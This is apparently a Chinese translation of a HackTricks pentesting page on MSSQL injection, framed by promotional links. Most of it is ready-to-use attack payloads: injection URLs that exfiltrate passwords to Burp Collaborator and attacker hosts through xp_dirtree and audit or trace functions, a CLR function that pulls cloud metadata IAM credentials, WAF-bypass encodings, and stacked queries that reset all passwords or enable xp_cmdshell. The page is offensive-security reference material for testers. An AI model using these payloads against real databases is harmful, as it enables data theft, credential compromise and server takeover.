13 KiB
MSSQL 注入
从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF 版本,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
Active Directory 枚举
通过在 MSSQL 服务器中进行 SQL 注入,可能可以使用以下 MSSQL 函数枚举域用户:
SELECT DEFAULT_DOMAIN()
:获取当前域名。master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
:如果您知道域的名称(本例中的 DOMAIN),此函数将以十六进制格式返回用户 Administrator 的 SID。这将类似于0x01050000000[...]0000f401
,注意最后 4 个字节是数字 500 以大端格式,这是用户管理员常见的 ID。
此函数将允许您知道域的 ID(最后 4 个字节除外)。SUSER_SNAME(0x01050000000[...]0000e803)
:此函数将返回指示 ID 的用户名(如果有的话),在这种情况下 0000e803 以大端 == 1000(通常这是第一个常规用户 ID 创建的 ID)。然后你可以想象,你可以从 1000 到 2000 暴力破解用户 ID,并可能获得域用户的所有用户名。例如,使用类似以下的函数:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
替代错误基向量
基于错误的SQL注入通常类似于+AND+1=@@version--
这样的构造,以及基于«OR»运算符的变体。包含此类表达式的查询通常会被WAFs阻止。作为绕过方法,使用%2b字符与特定函数调用的结果连接字符串,这些函数调用会在所需数据上触发数据类型转换错误。
这些函数的一些例子:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
使用函数USER_NAME()
的示例:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
权限: 需要服务器上的 VIEW SERVER STATE
权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
权限: 需要 CONTROL SERVER
权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettable
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
权限: 需要 CONTROL SERVER
权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
您在使用MSSQL时最常见的进行网络调用的方法是使用存储过程xp_dirtree
,奇怪的是这个过程没有被Microsoft记录,这导致它被互联网上的其他人记录。这种方法已经在互联网上的多个示例中使用,用于带外数据泄露的文章。
本质上,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
像MySQL的`LOAD_FILE`一样,你可以使用`xp_dirtree`发起网络请求到**仅限TCP端口445**。你无法控制端口号,但可以从网络共享中读取信息。
**PS:**这在默认配置的`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`上运行于`Windows Server 2016 Datacenter`上时不起作用。
还有**其他**存储过程****[**如`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)或**`xp_subdirs`**可用于获得类似结果。
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
显然,你也可以使用**`xp_cmdshell`**来**执行**触发**SSRF**的操作。更多信息**阅读相关部分**在页面:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
编写**CLR UDF**(Common Language Runtime 用户定义函数 - 使用任何**.NET**语言编写并编译成**DLL**)并**在MSSQL中加载自定义函数**相当直接。然而,这**需要`dbo`访问权限**,所以除非Web应用程序连接到数据库**作为`sa`或管理员角色**,否则可能无法工作。
[这个Github仓库有Visual Studio项目和安装说明](https://github.com/infiniteloopltd/SQLHttp),用于将二进制文件加载到MSSQL作为CLR程序集,然后从MSSQL内部调用HTTP GET请求。
`http.cs`代码使用`WebClient`类发出GET请求并获取指定的内容
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
在安装说明中,在执行 CREATE ASSEMBLY
查询之前,运行以下命令将程序集的 SHA512 哈希添加到服务器上的受信任程序集列表中(您可以使用 select * from sys.trusted_assemblies;
查看列表)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
一旦添加了程序集并创建了函数,我们可以运行以下命令来发出我们的HTTP请求
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
快速利用:一次查询检索整个表
存在两种简单的方法可以一次查询检索表的全部内容 — 使用 FOR XML 或 FOR JSON 子句。FOR XML 子句需要指定模式,如「raw」,因此就简洁性而言,FOR JSON 的表现更佳。
检索当前数据库的架构、表和列的查询:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
基于错误的向量需要一个别名或名称,因为没有别名或名称的表达式的输出无法格式化为JSON。
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
检索当前查询
可以通过访问 sys.dm_exec_requests
和 sys.dm_exec_sql_text
来检索当前正在执行的SQL查询:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
**权限:**如果用户在服务器上拥有 VIEW SERVER STATE 权限,用户将看到 SQL Server 实例上的所有执行会话;否则,用户只能看到当前会话。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
WAF 绕过的小技巧
非标准空白字符:%C2%85 或 %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
科学记数法(0e)和十六进制(0x)表示法用于混淆 UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
FROM 和列名之间使用句点而不是空格:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N 分隔符用于 SELECT 和一个无关紧要的列之间:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
使用非正统堆叠查询绕过WAF
根据这篇博客文章,在MSSQL中可以不使用";"来堆叠查询:
例如,多个查询如下:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
可以简化为:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
因此,有可能绕过不同的WAF,因为它们没有考虑这种形式的堆叠查询。例如:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
参考资料
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术!
其他支持HackTricks的方式:
- 如果您希望在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。